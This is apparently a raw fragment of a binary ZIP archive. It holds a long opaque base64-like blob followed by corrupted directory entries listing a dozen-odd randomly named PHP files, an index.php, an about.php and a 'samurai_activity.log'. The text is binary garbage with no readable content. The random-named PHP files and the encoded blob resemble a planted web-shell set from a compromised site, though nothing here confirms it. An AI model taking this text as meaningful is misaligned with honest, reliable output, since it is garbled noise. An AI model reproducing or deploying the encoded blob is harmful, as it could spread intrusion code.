+N5h4vY2iQi/c8yTT4g4Q5asieadExmp3TmwT7mOR1+wl7PwEfHdz4n9v4fvCPev/iOE861nTHvKnp+zDN0N+osYL73b2m4+D10f+JvKfdFfT9nshM4JkV7RGJecMxX1EmxzqB9z/492Jdsr28wjoxy5HGtLMWYh0qmsYaA7LI8hb1MccOTiL1QzMAjX9WTeXbyxbw8S9jnAD0h9rGy7/JM2sYcO7f5ecLvwvNYjAHjjam83tFjixIhI1wHgb+32b4XsWDLz6Qu92BNWedzfUQqfqNrKlDfUiydxprS/8t792ksR6ETh/Ldc44zxGLOFosJ1hVwLEydUfDdUc2TjJHgc9gn5/sIv1W8D/mF/ejINW2Ux6Y1oRoLL6fnVeWcGb6a5Yn5EjLFNROoT1Y6pyFjMmo+1XWZGJevP7f5elpXcT/PiK3L54tz5CTWQY4Z7jHltcn4nOL7Tm3lhzdVjA/9HHpfHTPyKnqtVXzHMeIZlvybxk7rJv30qbE+LH8yPsTzyvLD84j7nXQpng9CllN6J74fvcdJxUWaItdA63EUukrnRHg8Lt+b3p3vJ+IvVK/jq3VxxbpMDTkTPirJYKp/I2TId6Ws1qWMnlnuUP6kLIt6IXyetsPE33JvqnXL9bsNRT6Ac1n8HkK2xHoJeajIexvv5kj5o3uov2UsWqw7xg9d1hfKVxa+vopTCR0s5Z/nwad3FvfOPb2/HL2HekJ+RW1UJvWMp/NdLCNnnm+lCyw9vtMDxYCKMqP3Mv/W2B+xvP4kdY6QrVzog1zG5FhG/ZKsLPQ7cA2T8TnNG9cyGefRRMSq+kqOpwpL15hXMe6hWkNjPk5a5/ZkbMuS+kKsAerHo9TPFNdxpZ6q6zW3pbxK3Y3jXSxY1pX9puZB6X0Z00EbMHeNOZyKXKqpL1N9TcZzRHvVlucOXafWVNjvJ/23L/bzUOi4OBF6vErPU3O5kHs+L+sQkimqG+Pn+JE8DyK51x2p51hepdyLa8T45d4TZxntRz4bUO7kO8Xm+eNQThH/4RpEWt+JPa70Es+Tp/RfX+uiXM+/K9/9qGXE13pAXUOyd9Zy46vzUdr7pK+kTcD7Ltf3NPBlMulb8HnKemEhziA+Hz11RrDe5L9jkg3SdUInyr3iC9mX5yXVI5JuUfdxxNnjkI1D9oHUvbE6w/uqXlKsr9JbqXimq85fX5+3tjjrKl5k6lNXrIt4J3Wu95JLmVR+kzoPlH4pniN5UbaV7BhnxVDqPD4jFIY27WN1Dmi58bTt40q7yziLM6l31Rl5VmekkHlfng3a3lHvy8+lvEWubTCSJ0vaMSoGSvIlbbdMPs+SZ4DUOyx/KgZgifdUulKMVezR5KTfLZXve5oYNoQ+4+vK5vV0j7Wl9aMrbADUg1NpRxrv2lN7SdtjXq7qQVZuYtpovrIZdaxfyLGl5X6obc+I97xY47N4Bz4rhD3ms83nSJ/fc5Xtbuv9K22KnrYxXUOe+d1sbWdKm91ztH6Mla7zlB0T8TxKuRdno6/GkWl7wJYxfc/Iw/nC75DyhfkVV9akiBoZtpflb0XvQkX2fOjYjIy598jHil3lq59kXJzjPZwzMHJsRvyB62rgmvNE9aLIuDj2zaY28qeomBr5dbrmh/M/U7M+YjDYpPUYMdWyuDEfI97IBV6BreIBpBdCZUtw7lXILdeViDx6/Gs+TmzKQWfRKqJ6jwvsJbO+3Li2Nh1uo2f4+zBaH7xI4lf8qxikrENZbGbbdxyXeO/3t//nf/yP//f/AwPK 9Jm\MQK�� � 146yi.phpnu �[��� PK 9Jm\��Ǵq7 q7 � oiq2p.phpnu �[��� PK 9Jm\Aj�%\ %\ �I 962ta.phpnu �[��� PK 9Jm\���� � �� about.phpnu �[��� PK 9Jm\�h��� �� #� sabg5.phpnu �[��� PK 9Jm\o�e�*� *� �) bepyo.phpnu �[��� PK 9Jm\��f(�E �E a� f3wzk.phpnu �[��� PK 9Jm\6^�d�5 �5 s@ q1dsi.phpnu �[��� PK 9Jm\�!-�A A �v wezvg.phpnu �[��� PK 9Jm\�U��S� S� � hpmo7.phpnu �[��� PK 9Jm\ح��r r �> index.phpnu �[��� PK 9Jm\"��g�X �X @? 916iu.phpnu �[��� PK :Jm\�0a�n� n� ?� ihmkq.phpnu �[��� PK :Jm\P���� � � samurai_activity.lognu �[��� PK :Jm\|�Y E� E� � p20xj.phpnu �[��� PK :Jm\�*I�X� X� } rf5em.phpnu �[��� PK � �